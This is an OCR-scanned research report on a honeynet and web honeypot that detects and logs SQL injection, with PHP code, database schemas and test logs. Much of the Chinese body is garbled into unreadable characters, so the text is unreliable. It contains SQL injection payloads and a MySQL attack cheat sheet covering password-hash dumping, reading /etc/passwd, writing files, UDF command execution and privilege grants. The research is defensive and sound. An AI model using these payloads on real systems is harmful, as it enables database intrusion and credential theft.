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Abstract

Thisis atwo-year project, and we will sum up results of the second year in this
report. In the second year we mainly devel oped phototypes of systems that we
proposed in the first year to ahieve two goals of information security issues- “The
Research and Development of Honeynet with |P Traceback™ and “A profile-based
network security remote monitoring system”. The one goal is to use honypot attract
attacks and record their actions. The other one goal isto analize the threats of
computersin local network. For effectively managing these systems, we developed a
suit of system, called Monitor and Control Center. It can make these systems
communicate well and provide administrators with better control.

Two issues all aim at the urgent problems of imformation security. First, more
and more vulnerabilities appeared, so hackers can use a variety of new methods to
attack others’ computers. It will overload the traditional IDS in the future. To make up
the weakness of traditiona IDS, we propose the issue one- The Research and
Development of Honeynet with IP Traceback. We set up the honeynet system to
attract hackersto invide, and record their actions. Once we know their action, we can
defense their attacks. In the second year of the plan, we improve the phototype of
system, designing different security levelsto gain the ability of attraction.
Furthermore, this system was integrated with the system of |P Traceback. It can trace
the hackers’ IP, and prevent IP spoofing. The system we developed assit the traditional
IDS to achieve effective defense.

However, except vulneribilities of Web applications, many PC or web severs
may also have lots of vulneribilities. Again we proposed another solution to solve the
problem. We construct a system to read firewall data of computers, and analize

network security threat to avoid attacks. In the second year, we promote the first first



years’s system. Firstly, we expand the system to 2-tier construction system, and it can
analysis the security threat more effectively. In addition, the system now can alow
administrators to adjust imformation security principles, and control computers’
behavior in the local network. Finally we applied the technique of error tree to
compute the prability of threat PC. Also this system was integrated with the IP
Traceback system to avoid P spoofing.

This project occupied alardge number of researches, and we finished all
proposed action items. We also have fruitfull research results in the field of
imfornation security. Not only did we complete practical implement, but we also
tested these systems by real attacks. These systems can really defense attacks. We
expect that we can apply these technologies to the field of information security.

Keyword: Honeynet, Security Information Management, Traceback
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AP Y - EORRIIEFRSE T AT EE R (T2 OWASP % >
&AL FUBGRET PREERTHATES = SRS TFFEL E Tt
FHe o WIS BRI - F 5 F AR

f ik AT A - Rk .5%%&?51&2%’ VAR kgl xR o B P
e LATHUR R Y o TR LB BEEE L AR F
hiE > oa 49 iedF T SQL injection sz# e Al i 2 honeypot 4%t SQL

i

|k

injection crc i £ 2 0 k25 L i o~ BHGS o

¥ A2~ Bidip] kst~ Web FW 22 Honeypot $3t 455 & s Ao crsc 5 2
endoRo kA fg $ATI G Srweb attack pF o BRI RE A 4 e g e
b Rt e G2 R BEAR G AP B R T R e R TR o PR 2 S
rees N A 45 o ;ﬁd PT R SR AT 8 R T A R H AT R
W ES et 7 W phid L Ap 3k seng B o

% - & ~ SQL Injection #ish 5

Tl nm% 2- P ABELR TR P o - DR NE ;ﬁ‘ﬁfig’?,}‘a A
FRELA - PA M FRDURIE LT R SR F L A
GCRERE N R LA o RERR L =3 e g B
RIS Pt AR 0 A FRA R g TR R E SRR
MR AR TR > XY SR % 343 % (SQL Structure Query Language) =
A A ng RS TR L B 12k % (RDBMS Relational Database Management System)
B BT oo

- Heweh Bt AR RN R A B TR R ALY PHP £ %
ZHFE kes SQL #F5 0 BRigd
FEORSH RS SBFRY R 2 IONATH B FIF R A TR B
BE BB TR 4T3 P R T BB YR SQL A 4 0 TIE R T ST (S

¥ 23 L EFHRAEL T s THL SQL FT AT A U R R

%
LRV B Flﬁ'f'}ﬁ_ LELH T ez A



GREG BT E

sz&m’“ﬁq‘iﬁﬁ’»— R AR A Fl L R RRE - B Rk

v A - T NIRRT R A D 2R BT NEIRG KA

Achi s B R o PR REL AT S <04 i T RER R et BRI
F PN A Fr RS ff e b & B~ A a0 kS %B’wﬁ BET e e - e A
5a$ﬁa%ﬁ’?ﬁ&££aiiﬁ%ﬁﬁﬁ%’%#aw%%’aﬁﬁﬁi
F(OMZ) > Rl » fendm w5 o e 2 L8 SQL S 2 FAE AR
JreTnAr s @ A Bk Ments oo

SQLinjection £ % - BE > @ 2 £ 7 THESRY 4258 - SQL
injection &_41 * ﬁi%l NEEFRR L 0 R kSR BRI AT R § AR fr%ﬁ:ig %
Bode ERFTREEE FARGT TG - G D RSB F AR A
FAr kA T ERPTHEFEFTHAEFAR B THREHE
& TR 4 o SQL injection & ¥ % ¥ 1 d g F L+ cnf = (HTTP POST method)
FALITH o & T U E AT & URL ¥ #c02 HTTPGET method i 1 o pt ¢k 5
FARE PR (T F 8 B 5)E Ssh £ 2 (4o unicode) > ST F T U HIT L
Wkt 2 ke e F £H 5t A dr2. SQLinjection st F P 2 447 R 5 - < P
B oo

2.1.SQL injection 133 g:25 3%

(1) A Baig  en3 (2 ) Bk

% web application HRKGE LG ¥ kop ouser ehinput FGE F hF (8 )i
pF o U ehinput € 55 d webapplication & & SQL £33 8 chdzst > & X 2IpH o
#3184 3SQLANTE -

T HEHSQL B F R hs A AR kP

statenent = "SELECT * FROMusers WHERE nane ="'" + userNane + "'

otk e Gk W e RERPERT o E T S
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fT5 input kA SQL 438 F 8 et e £ 3N THHSQL A F P

SELECT * FROM users WHERE name = 'a' OR '"t'="1t"';

ek R BT AR Y F chE e i g d TSGR A true
BERELGIFEAIS > PBREE - BLERY —“‘F]’m'i/x 2 T o

g%im?%&@ﬁﬁﬁﬁ@gﬂ,mﬁ—ﬁﬁ@M?Uﬁﬁéﬁﬂlﬁj
Bkt > 31 SQL h AP § ATk e0(F 5 0 fEphp £ mysgl_query
E%ﬂlﬁﬁﬁMH’Eﬁ?”ﬁiﬁ§ﬁ%%%*“*@%ﬁkm%mgl
LiF P o

(27 & FE % B i L

SQL injection+ F ¥ &t 3 4 Bil ol Fa e B B RS2 chweb application
¢ Bilde

statenment :="SELECT * FROMdata WHERE id =" + a_variable + ";"

T SQL statement # - a varidble &z & ¥ - B A#cnE - B[
A0 e id OF AL R F AR LG # a variable (LT S FEcihiR A §

= 5 ch ¢

1, DROP TABLE users

&‘ﬁ;ﬁi%] L avariable ¥ #iciniE pr o 1* ¢ 34 {7 drop(delete) users i1 table -
ASQL A F 8 40T ¢

SELECT * FROM DATA WHERE i d=1; DROP TABLE users;

Q) F H L PP F N 3155 g

PR PRE SR L S f T w55 8 L MySQL server ¢
mysol_real_escape string() ¥ 3¢ > it & sc# 4 * unicode B 5V 0 Mg 250 K
P ik 0 @ & #3407 SQL injection -
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(4)Blind SQL Injection

4 SQL injection this % 4 § E M AR T nT o 1 B SF T Y
T ehs sk Rinjection § iR R ik 4

a 1% i ¢ respones

H ¥ - 4 blind SQL injection e~ ;2 §_# select & ik &2 ¥ 4c b Aig a2 0 &

AR & prenif E 5% o 4o A5

SELECT booktitl e FROMbookl i st WHERE bookl d ="' OCkl1l4cd' AND 1=1;

¢ A4 RknE% (7 ¢ )

SELECT booktitl e FROMbookl i st WHERE bookl d ="' OCk14cd' AND 1=2;

§ALBER KD g% ST L gEe kAL F S SQL injection £
33 gLev §_SQL injection &_F = # o
b. % & cherors
iz B fa%F s blind SQL injection f where if i2 58 = = chpFiz ¢ & 4

SQL = error > Bi4e -

SELECT 1/0 FROM users VWHERE user nane=' Ral ph';

'jﬁ At 79 %ﬁlf“ NIy I F e AKX 1 T 77 SCNETA °
C. Prlutyk
FIHFET LR TR - B R P RLT Shquerys * web server
W % pE R A 8 ok 2] ¥ E_F 5 SQL injection 533 22 §_SQL injection
FE2 A% B@Ew BT a4+ SQL injection £ pr > - FKERF A v &

¥ av % ¢ SQL injection L » % F AL = F 7 o

d -2+ % 4 SQLinjection 1 select & it & £
Version SELECT @@version
SELECT 1; #comment
Comments

SELECT /*comment*/1;

Current User SELECT user();
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List Users

List Password
Hashes

Password

Cracker

List Privileges

List DBA

Accounts

Current
Database

List Databases

SELECT system _user();

SELECT user FROM mysql.user; -- priv

SELECT host, user, password FROM mysql.user; -- priv

John the Ripper will crack MySQL password hashes.

SELECT grantee, privilege type, is_grantable FROM

information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv,

Delete priv, Create priv, Drop_priv, Reload priv, Shutdown_priv,
Process_priv, File_priv, Grant_priv, References priv, Index_priv,
Alter_priv, Show_db_priv, Super_priv, Create tmp_table priv,
Lock_tables priv, Execute priv, Repl_slave priv, Repl_client_priv
FROM mysgl.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM

information_schema.schema _privileges; -- list privs on databases

(schemas)

SELECT table_schema, table_name, column_name, privilege type
FROM information_schema.column_privileges; -- list privson

columns

SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges WHERE privilege type =
'SUPER;

SELECT host, user FROM mysgl.user WHERE Super_priv ="Y"; #

priv

SELECT database()

SELECT schema_name FROM information_schema.schemata; --
for MySQL >=v5.0
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List Columns

List Tables

Find Tables
From Column

Name

Select Nth Row

Select Nth Char

BitwiseAND

ASCII Vaue ->
Char

Char -> ASCI|I
Value

Casting

String
Concatenation

If Statement

Case Statement

SELECT distinct(db) FROM mysgl.db -- priv

SELECT table _schema, table_name, column_name FROM
information_schema.columns WHERE table schema!="'mysql’

AND table_schema!="information_schema

SELECT table_schema,table_name FROM
information_schema.tables WHERE table_schema!="mysgl' AND
table_schema!="information_schema

SELECT table_schema, table_name FROM
information_schema.columns WHERE column_name = 'username;

-- find table which have a column called ‘username’

SELECT host,user FROM user ORDER BY host LIMIT 1
OFFSET 0; # rows numbered from O

SELECT host,user FROM user ORDER BY host LIMIT 1
OFFSET 1; # rows numbered from O

SELECT substr(‘abed', 3, 1); # returnsc

SELECT 6 & 2; #returns 2
SELECT 6 & 1; #returns O

SELECT char(65); # returns A

SELECT ascii(‘A’); # returns 65

SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);

SELECT CONCAT('A','B"); #returnsAB
SELECT CONCAT('A''B','C"); # returnsABC

SELECT if(1=1,foo','bar'); -- returns 'foo'

SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns

Avoiding Quotes SELECT 0x414243; # returnsABC
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Time Delay

Make DNS
Requests

Command

Execution

Local File

Access

Hostname, |P
Address

Create Users
Delete Users
Make User DBA
Location of DB
files
Default/System
Databases

SELECT BENCHMARK (1000000,MD5('A")):;
SELECT SLEEP(5); # >= 5.0.12

Impossible?

If mysqgld (<5.0) isrunning as root AND you compromise a DBA
account you can execute OS commands by uploading a shared
object fileinto /usr/lib (or similar). The .so file should contain a
User Defined Function (UDF). raptor_udf.c explains exactly how
you go about this. Remember to compile for the target architecture

which may or may not be the same as your attack platform.

... UNION ALL SELECT LOAD_FILE(/etc/passwd’) -- priv, can
only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefil€’; -- priv,

writeto file system

Impossible?

CREATE USER testl IDENTIFIED BY 'passl’; -- priv
DROP USER test1; -- priv

GRANT ALL PRIVILEGESON *.* TO test1@'%"; -- priv

SELECT @@datadir;

information_schema (>= mysgl 5.0)
mysql

4 $ 16 ~ SQL injection 7 select & it & 4 %
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% m= e g MySQL i i endsifan pr A Asc ¥
% s WEimBcF 32 (09 az A-Z)© srih SQL Injection sz #
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PEEE- AREPDF Bif fiocET e S8E b s

(287 3 % o g TR
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gk i FREINR BRI EELL S o

Q)7 ke + B2 ank TR E
J2 SQL enf{ (T AP I AAZER LN f MEBPEF 5o 2 i

(A7 & % Bow ank TRE

RIE SQL e (T A L FAQER LN HEE » 3 2l A2 EpEL 5w o

32p LI EE R

’f"':}fix:c?td"%l ~ e SQL injection sc# 3 B A FIHFE B oo Bif § chpE
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WrFEREUE A ER S TR es PR MR LG PEE 5 5

IR T e h s B

33 % A
IR R LYt A RA G RB O RE BRA VAT K
%mg»¢ﬁ§ﬁo
name : peter SELECT * FROM users WHERE name="peter' and ADLBS 2009/10/12 4 AR

pw 1111 13:26:47

BRER - ERE
FHYLIRINEA

B 3~ AFrsz#

347 v éx
BT H A R RGEET] N R A BT § R BT K

tid + 3 UNION ALL SELECT HULL,pw NULL FROM Lsers  SELECT * FROM thread WHERE tid=3 UNION ALL SELECT NULLpw NULLFROM users 200910712 2 BNEHEH L1 EWEHED Tishes
133731 L2 EEERY L2
L3 queryR
L4 queryR

il + 3 UNION ALL SELECT HULLname, NULL FROM users  SELECT * FROM thread WHERE tid=8 UNION ALL SELECT MULL name, NULL FROM 2009/10/12 2 EWAHED L1 ENEHED TREhER
users 13:57:25 L2 EREREY L2

(2K

L4:

tid 9 UWIQN ALL SELECT 1111,2222,3333 FROM users  SELECT ® FROM thread WHERE tid=3 UNION ALL SELECT 1111,2222 3333 FROM 20091072 2 EWAREY L1 EWEHED TREhEs
users 13:57:16 L2 BRAREY L2
L3 queryR
L4 queryR

tid + 9 UNION ALL SELECT 1111, 2222, 3333 SELECT* FROM thread WHERE tid=2 UNION ALL SELECT 1111, 2222, 3333 00910112 2 ENEREY L1 EREHED TREhEs
13:36:48 L2 EEEEY L2
L3 queryR
query Rt

L4

tid + 3 UNION ALL SELECT HULL, WULL, HULL SELECT * FROM thread WHERE tid=3 UNION ALL SELECT NULL, NULL, NULL 09i0i1e 2 RREEED L1 EREHED TiEhis
13:36:38 2 EWEEEY L2
L3 queryER
L4 queryR

tid : G UNIOK AL SELECT HULL SELECT * FROM thread WWHERE tid=3 UNION ALL SELECT NULL 2009/10/12 2 query  LLguerEl RRERER
13:56:25 A LoengR L2
L3 queryER
L4 query4R

B 4~ sc¥ i
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¥ = & - Web Honeypot i $t3 4

Attacks

Log (JRemnm
Data Base . Control

Bl 5~ A4k A AEF

Web honeypot & $t3 Hde + Bl#Tm > 2 & A 5 B BIRA
1. 7z 3 SQLinjection 33 gk web application & database
ARy R RE - BT AEZ honeypot o 1 FRE 2k RN E
oo b F ~ RJZE & ¢ K G SQLinjection 35 gk 51E T~ i ;‘guga&%
B oArfaenis L oo
2. Entrap unit
HEINEF kiR ﬁ input =& % fr server response sk 4 14 % security
level (iR T2 & 2 3 f T £ 5 I’I?iﬁ * gl injection #7334 > A H R F L
L SQL 4 4

- ER A5 0 AP ¢ #-security level & w3 A o

» Pl —’ﬁ input =7t % v server response itk & o 1 B B0

3.  Manage unit

TR AR & FJR T 14 remote control s ik = i 43 33 F security level -
4. Record unit

ES é"s{r-s”wi’z%—*ﬁ%’gé SQL injection » &t F 75 0 & - Bk

Fl o km H k(T 5 e (7 FBEINA £ MU 7 5 ek T %3 3] log database
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¢ At > ent o log database JF - web application #1 & * =1 database 4~ B
TE o
5. Log database
BT T TR T S e T
1. lp— %meIP
2. Seclv— 7 @ #7 A efrsecurity level
3. Time—- % 234 pFerpr i
4. Page— E 2 F 4 BEoiraaf o
5. Acc— & * ﬁ .@7}/\ £77account
6. Pwd—- 2 # ﬁﬁg?/\ sr7password
7. Slstr — i# 7/ MySQL server % /7773QL & 79 % #
6. Sebek
Sebek € - 375 Fkernel level rootkit » 51 » pt - 1 5 & 2 7 g B 20
SQL injection cxz # » i¢ (¥ honeypot A& » % » dept — & » 2P Aig P A L2 2
HEBOTORT A T T R R R g 7RG

A5l o~ 8 sebek o

FI& FTHREZRABKRY
51 F# E-log
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R B ST R B E E 2 TR AN e R Y Cattacker_log,

attacker_log_input, attack_log_sec_level, black_list » & FHL & p % 407

511 4 attacker_log:

EEITFFLDIEFTHA ,igj—gﬁu;— KT HE o

No. Field Type Null Key Default
111 |d int(20) 7 PKI

112 1Ip varchar(50) & NULL
113 user_sec leve int(2) 2 NULL
114 max_sec_leve int(2) 2 NULL
115 Time int(30) S NULL
116 sgl_string mediumtext % NULL
117  attack_page varchar(50) % NULL
1.1.8 user_authentic_type int(1) 3 0
119 log_comments text 2 NULL

1.1.1 id: = & 52 # % 42 uniqueid
112 ip: =& LR IP
113 user_sec_level: se# 3 4 pF » L sc ¥ ch% 2S5 -

1.1.4 max_sec level: p=tsc#ora 2 Fabh 3 B E S & o

Extra

auto_increment

(9,34 I FMNUEEFRL2DEA 0 €8T % 3L

115 time & 4&sc ¥ ahpE i (H = f))

116 sgl_string: sc##r#& 4 7SQL 5 ¢ -

1.1.7 atack page: % ¥|sc# f o o

1.1.8 user_authentic_type: 1 {7 SQL 45 % 16 > Mysgl #7w Ji ek i

O:query % pz ~ 1:query = # > e % B~ 7L

2 BT
3: Fr»=2# (logints & & *)
1.1.9 log_comments: #* & sT#F % freifp B 30 4
5.1.2 F#t % attacker_log_input
2 attacker_log M B enF AL £ 0 & é;”.r:’z?ﬂﬁ A e BT
No. Field Type Null Key Default
27
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121
122
123
124

121
122
1.2.3
124

Id int(20) I PKI
log_id int(20) &
Field text 2
Content text A

id: # 4 input o uniqueid
log_id: 7% *x attacker_log 7 #L % eid
fidd : # o4

content: x’z%—*ﬁ@?} ~EAN R 31% Lo

513 F# 4 atacker_log_sec level

NULL
NULL

auto_increment

& attacker_log BB T AL & > R F L B Lk B ES G R T ok i o

Edvg

F 21

WA

»
>

2

A
~

- % 3

B4

¥

*
[

i

O:query 2 pz ~ 1:query = » {2 @2 jBEB~Fof ~ 2 EBFH =25 -

i
D R PR

: giﬂj,;;] » F B i adddlash()

. B B error messages > I © *fﬂie?l ~ % ¢ #4a adddash()

DAEE N F R Y Ay hi gL I8 BB error messages

3: = (logintg & & *)

No.
131

132
133
134
135
136
1.3.7
138

Field Type Null  Key
Id int(20) 3 PKI
log_id int(20) &

lv_1 s text q_

lv_1 type int(1) 2

lv_2 s text A

lv_2 type int(1) A

lv_3 s text =

lv_3 type int(1) q_

28

Default

NULL
NULL
NULL
NULL
NULL
NULL

Extra

auto_increment



1.39 lv_4_sql text L NULL
1310  Iv_4_type int(1) A NULL
1.3.1 id: uniqueid of thistable.

1.3.2 log_id: 7z attacker_log F 4+ 4 id

133 v 1 sg: A=sc# SQL &% 2 - BRSN 3
134 Iv_1 type: &g SQL 34 7% ik

135 v 2 sgl: *= o< SQL &% 2= Bih 1S hp 3
136 Iv_2 type: #ij » 3 # i adddlash()i i > SQL 2 4 17t fi
137 Iv.3 s *=% s SQL &% 2= Bih 1S hp 3
138 Iv_3 type: it > 2% F 1R Timedelay 2 44 7,k /%
139 Iv. 4 sg: *=%scH SQL &% 2w Bih 1S hp 3

1.3.10 Iv_4 type: 2 ",f FELis - SQL #4772k w
5.14 74 % black_list
e At B IPR L H o

No. Fied Type Null Key Default
141 1|d int(20) T PKI

142 1p varchar(50) #

14.3 sec leve int(10) A NULL
1.4.4 admin_setting_sec level time int(30) 2 NULL
141 id:uniqueid

142 ip: 5 &R IP

143 sec level: F Sisc# v feent 2P EE & o

1.4.4 admin_setting _sec level time:

Extra

auto_increment

S E IR AR T £ f 4 black_list .sec_level o pt Rk g R o

5.2 F# E-msg_board

WA b (b L s F) TR chF LR > ¢ 7 msg, thread, users & AL £ 0 &

29



FALA P BT

521 F# % msy:

EEERXREOTHE -

No. Field Type

211  Mid int(20)
212  Tid int(20)
213 Date date

214 Author int(20)

215 Subject varchar(200)
216 Content mediumtext
217 Reply int(20)

211 mid: < F suniqueid

212 tid: %@ #id (thread.id)

213 date: * $ % 4 p

214 author: <~ % % 4 id (users.uid)

215 subject: ~ & {£47
216 content: = F p %

217 reply: » B F

522 F#1 % msg:

LR L TR

No. Field
221 tid
222 name
223 info

221 tid: 3t uniqueid

Type

int(5)
varchar(20)
varchar(100)

30

Null

fb f@ fb f@ e

f@

Null
&
A

2

Key Default

PKI

Key Default
PKI

NULL
NULL
NULL
NULL
NULL

NULL
NULL

Extra

auto_increment

Extra

auto_increment



222 name: it L

223 info: #Hmadpbd ~ @4

23 74 users:

RN F S HFE A

No. Field
231 uid
232 name
233 pw
234 email

235 ADL35321
236 profile

2.3.1 uid: users e uniqueid

2.3.2 name: % = tgE

Type
int(20)
varchar(50)
varchar(40)
varchar(50)
varchar(40)

text

233 pw: Tbl%%%(éi;’z?ﬂﬁ %B&)

234 emal: * © email

Null

ﬁm’H"l—N“H‘

(ﬂm

flm

Key
PKI

Default Extra

auto_increment

NULL
NULL
NULL
NULL

235 ADL35321: & F %48 » % F L HA R HFY > PR T

Bt 7 SEFARDESRE D F P o

2.3.6 profile: * = & &4

53 &\ ik

531modulephp: =% $ikc ~ TR A MK T

31



FERBEFF AT RE S FHRELTIA LK

No.
331

332

333

334

335

3.36

3.3.7

3.3.8

3.39

3.3.10

3311

3.3.12
3.3.13
33.14

Var Name

security _acc

security_pw

database_security_acc

database_security_pw

database for_user_pw

user_login_page

myip

WEBURL
time to_upgrade sec

level_for_demo

time to_upgrade sec
level

send to_mcc

mcc_ip
mcc_port

send to_traceback

Content

name

pw

name

ADL35321

pw

/board/index.php

140.115.53.35

http://.myip.'/boa
ra/
0

86400

true

140.113.87.233
9876

true

32

Comment

HTML form ek 54 = % i
(it * %4 )

HTML form % 78 4 = & -
(it * %4 )

F AR R B = 4L
(e v F 8 )

TR LR BAR LA
(e v F 8 )

FALE G LA
(C ¥ )

Login 4 & #f23% & 4L

(1€ " 54~ 1B 55 )
b |[PAddress 2 &

i b eyt (domain name)

HE e

demo * = B >

OR P, L3 FR

B rp R (S - %
T 3 A ST AP IR )
>4

£ F f1* socket i d13 & 3
MCC server

MCC server 2z IP

MCC server 2. port

A_F 1 * JAVA isocket 47 54



i# 42 4 3 TraceBack server

MySQL :# 4 47 ;% @ (module.php)

$link=mysql_connect('localhost, 'plt1r', '1111);
1) @ O
(1) FHE7IP » #H &2 4z localhost 77
(2) FrLs e
Q) FHLBRDE
if (19link) {
die('Could not connect: * . mysql_error());

}
if ('mysqgl_select_db('msg_board', $link)) {
Il:2 % % 7 422 msg_board

echo 'Could not select database’;

exit;
}
$link_for_log= mysgl_connect(localhost', ‘pltlr_log), '1111;

1) ) ©)

(1) FHE PP #4443 localhost 77
(2) FHLR i SHEEE
(3) FHLL DA

if ('$link_for_log) {
die(*Could not connect: ' . mysqgl_error());

}
if ('mysgl_select_db('log', $link_for_log)) {
ll:¢ 3% 5 42 2 log
echo 'Could not select database’;

exit;

33



Kigh B * g
WhP R aps g4V R OSQL #igis » LEFFTALF s
PEg v Ediads
$link_test1= mysgl_connect('locahost', 'test1', '1111";
if (1$link_test1) {
die('Could not connect: ' . mysgl_error());

}
if (!mysgl_select_db('msg_board', $link_testl)) {
echo 'Could not test1’;

exit;

—

5.3.2 ODBC.php
BEF)O L LR R ERI

function sec_fetch(&$result){

// $result : F 7 SQL query 2. B %

R R R TE

#-mysql_fetch_assoc # hooking > # & SQL #iB~chf e » £ F 25 B
F B i tfi(e.g. ADL35321) » FE MM > RIBR S H s LH o @
i3 F B R

RN Mo S

fleie % F g~ 2 TR B T T NI N TNULL 0% 53 5 et



& e orié

R T

function symbol_strip(& $input) {
[I$input : ek @ # —‘ﬁ fﬁig?] »EF AL
Ppattern = "[-H=\" | @$%"&*()_+,.]";
if(is_array($input) )
foreach ($input as $key => $child) {
$child = ereg_replace($pattern, ", $child);
$input[$key] = $child;

WAk ¥ IPLFE2 20 FLuh MR PapEis RADf
IR TReE B PR T 1 S PR L s

Voo




Function chk_time_to_upgrade sec_level(){

BAEIATHRA ETE gl -

wh A HFL P F R R LRS- 0% F (F module.php
time_to_upgrade_sec_level) » B ¢ & | i o

Whier FAE TR T EHERSQL AL 2

R e~ iR 2P

=
=
e
*:n
J4:

\_\:_.
=
Al
@




$normal_user_result = mysgl_query($normal_user_sgl, $link);
if (mysgl_num_rows($normal_user_result) >0
&& chk_mal_login($user_inputy'name’],$user_inputs'pw1,
$temp_strip['name’,$temp_strip['pw)




$max_sec_level =0;
$user_auth_type=0;
for($i=0;%i <5;%i++){
Slv_sgl[$i]=";
$lv_type[$i]=0;




Il5 delay 42:6 0.1 ) ->query — %} = #
if($max_exec_time >=0.1){
$lv_type[3]=2;
1 & % & F] 5 query time4zif 0.1 #j#k @ #7eniin




llsec_level 2
Saddslash_sql=$sq;
foreach ($user_inputs as $key => $child) {
$addslash_sql = str_replace($user_inputs $key], addslashes($child), $addslash_sql);




$result = sec_query($sgl_bl, $link);
$user_sec_lv = $max_sec_level;

yelse{

522 RBRAPBRT @ EoRI% 2% %, ZF->0F




$fake pw_sgl =" select* ";
$fake pw_sgl .=" from ".sengitive_table_name." where
".database_security_acc."="".$temp_acc."' and ".database for_user_pw."=".$temp_pw.""";
$fake_pw_result = mysql_query($fake pw_sql, $link);

if (mysql_num_rows($fake_pw_result) > 0) {




it BB s B F 2 F B MCC e

M Jitk & modulephp s send _to_mec > # E_5 true 4 ¢ B i% o

Function sd_socket (){




insert_log_fields($log_id, $log_fields);
insert_log_sec lv($log_id,$lv_sql,$lv_type);

ini_set('display_errors, true);  //3= B error msg (¥ B 416 & = 0k B error msg)
chk_filter($_POST,$_GET);

send_to_traceback();
ssl_socket($user_sec_|v);
return htmlspecialchars_decode($lv_sql[$user_sec Iv],ENT_QUOTES);

Function insert_log fields (){

Mt B R B B F R PR (SRS A G T log TAE) £ R A

log 7 #L & ¢ attacker_log_inputs 7 4 o




Function insert_log (){
BrzHE B~ log LR e attacker_log F AL & o

534 # - T ¥ R
I AT &g/%/k’iliﬁti}}\#{"

A ¥ e it
index.php WHE R REFRR —*Ffﬁigj » PE BE % 7S
% gﬁ:’zﬂiéﬁ’ﬁ # ¢ 12 {7 SQL Injection -
board.php e E R RuAy f8c(d=1, 2, A& 7

Feantdkh % 0+ Z_% 134 SQL Injection i

oo

article.php, form.php, WmAFE L BF F oo

topic.php ¢ L4 % login: #71 ;’zgwﬁ A = 7 Injection }
WA A AR o BE R R T B o

535 fE- & ¥ ezt

[GE R AN Rl R $23- i & M

iy 8 S Rl
Blist.php PE GG WA RERRAIPL L H B S

AR EL o
log.php, log_list.php, kaom s E 2 ehlog T
log_search_form.php
S SR S
EiE: A
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%

=4

FF L hgep ¥ 1 SQL Injection Ap B ozk > 30§ BiE gt £ 2
rERER BN - FORE » v ek FEBl ARRELRAE > - HIEHERTA -

TG o ffERE LT kT

ﬁ E ¢'9&E§E&$-‘i ﬁﬁL

Wi hmEEmE SEER
ES S S EE—

ShE . §_

HERE " g mpg

@M HHEEED
WEETH
B 6~ s F R
6.1. % 3% SQL Injection = # #4t
6.11 &7k =5
® ITHFERITE P
SEPHART A RAESQL 2 FlRER AT D B TE L
® ¥z il iTorl=1#4 4
® cHF A
HPF :peter [EH]
B 7-FHptcEas
® ¥4 pzr
1 : | e | [(E2 ] 11 iEse. THEEEL

B 8~ 4f % 5 4 e

6.1.2 4 3% A F
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® ITHFERITE P
s B EA A 0 R ﬂ\{éﬁ@%ﬁ%&é? ) f!;ﬁc?tﬁ e g
PHFEALRF RAN A T A LR TR T F O R

5510

® t¥zF¢p %l’;’ﬂ] :TUNION ALL SELECT NULL 4
® THEH LA

Warning: mysdl_fetch_assoc() expects parameter 1 to be resource, boolean given in C:YProgram Files\EasyPHP5.3.0hwww\board\ODBC.php on
line 4

Notice: Undefined index: name in C:\Program
Files\EasyPHP5.3.0\www\board\board.php on line 36

[EHETE]

Bl O~ A3 ®a it fo ¥
® ¥4 pr:

Fwmdrie BiE 0 R R 97 gREEPL -

6.1.3 pF £ A5 F
® THRIME P
Rt s "«‘lﬂ’%ﬂ FORARF AT & L85 LA R i

LAY w’z?—’ﬁ? ,ugg.z;&'g\,h@@?]g_i 2 B FaE Flde ke BT 45 3R 4 S e g o

° ﬁ?i&%w:

FUNION ALL SELECT
BENCHMARK (800000,shal(111111)), NULL,NULL
® THEAr

~ BHE - Windows Inémet Explorer

IQ% % E_]-'EE ’:%r: @ Y - | £ hitp: {140,115 533 % hoard fhoard php?id =0 THION ALL SELECT BE

RED REE B0 SeEl TEO RBEH
EIEILER R x Oxgle| M\ DL B o

S BhEE .4mﬂ. |
\J

B 10~ A3 #epF L AT F
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® T4 pr:

ke Bk R B T L L

6.1.4 4 ‘| 5
o i

o T R e o g o> APt 4eT

SR TR M EET R b RPR T B

Wk B PR BLT G B R LR T A
g A TR (B4 B RAR) 0 F L FORE ~ 0 AR S S o

6.2 % ;% SQL Injection s ¥ % &¢
6.21 ¥ FR &

B se—— P
- 8

VTS et A @ T R PRUETE MR e W
= LI st e

R de— 2 S
Bl — — ]

w0

PO e L1100 L N,
AL —— ) B s S ek

TR BT [ PR MR

= oallh i St cew w7 F
-

AL Sl i — W D
o —

= ool LT e, e e,

T ——— i —— A P Y —

R R P — e T e R W e
-

IR B s o B U T Y s e
-

IR S ——

I & e e,
| e —— e i
- el L e WL

LT el 1

[T e g e e e e gt DL

BELET T Sl gy S a— B i, W e

Bl 11~ 4 e R e

622 2 tEBBABEF T
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Black list

FH2i=
1400115.50.233 [Leval 4 = [ e |
140.113.24.204  [Leveld =| [k
1400113.24.119 |Level 4 =| | et |

140.115.220.113  [Level 4 = [k

140.115.53.10 [Lewel 4 =  [feax]
140.115.53.35 [Level 2 = | i
127.0.0.1 [Leaval 4 =] [ e |
140.115.220.228 Level 3 ) | i |
78.142.140.194 [Level 3 = | s
122.116.5.170 Levelz =  [fik
118.160.184.87 |Level 2 =] =2
122.116.5.38 Levelz =  [ffk|
140.113.216.142 [Level 2 =] | e

Bl 12 ez td
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¥ = & ~ Sebek(Honeypot)
Sebek & - @ FALEPch1 & o #rg FOREPI L hp R BB
Brre R P Aeip bohoneypot e E 2 o % v koFr ¥ attacker ¢ B-pFiE 4k s
e LTI UCTIZS e R ARV BPTE SV K A TR o A

T3 TR R AGE A R BT 5 & - Lentrafficfilter «h
FAR R RFRLI R N F I e ek o

A o BEARM G B AR o 2 A K AY Ut E 2 7 a4 R At
PP EBIRG GG BT o - HAFE g4 r - BAEshel o * K

5'7;\ Sl ?mﬁﬂ AN

¥ - iRehsebek K3 % F i _kenel 38 gt F A 0 4% 0 Adore
Rootkit > * 3% sys read s systemcall &k £ Bd&gdE T AL > R 1L ol T s T
- BrER Y P E R RS E U 40 NetBIOS 7 UDP protocol 3= ¢ 4 i¥ )
4> x;&ﬁ%*usb 7 K27 monitor » a;%—*ﬁ FgEenE KT oo w T B ONBF Y »F A
B A B

I3 % - kinsebek ) T A BT et > Ried A7 i sys read n
TR o T B Flipe T A fr“i&? 12 monitor honeypot %75 & % o 1L 4ej — 1B

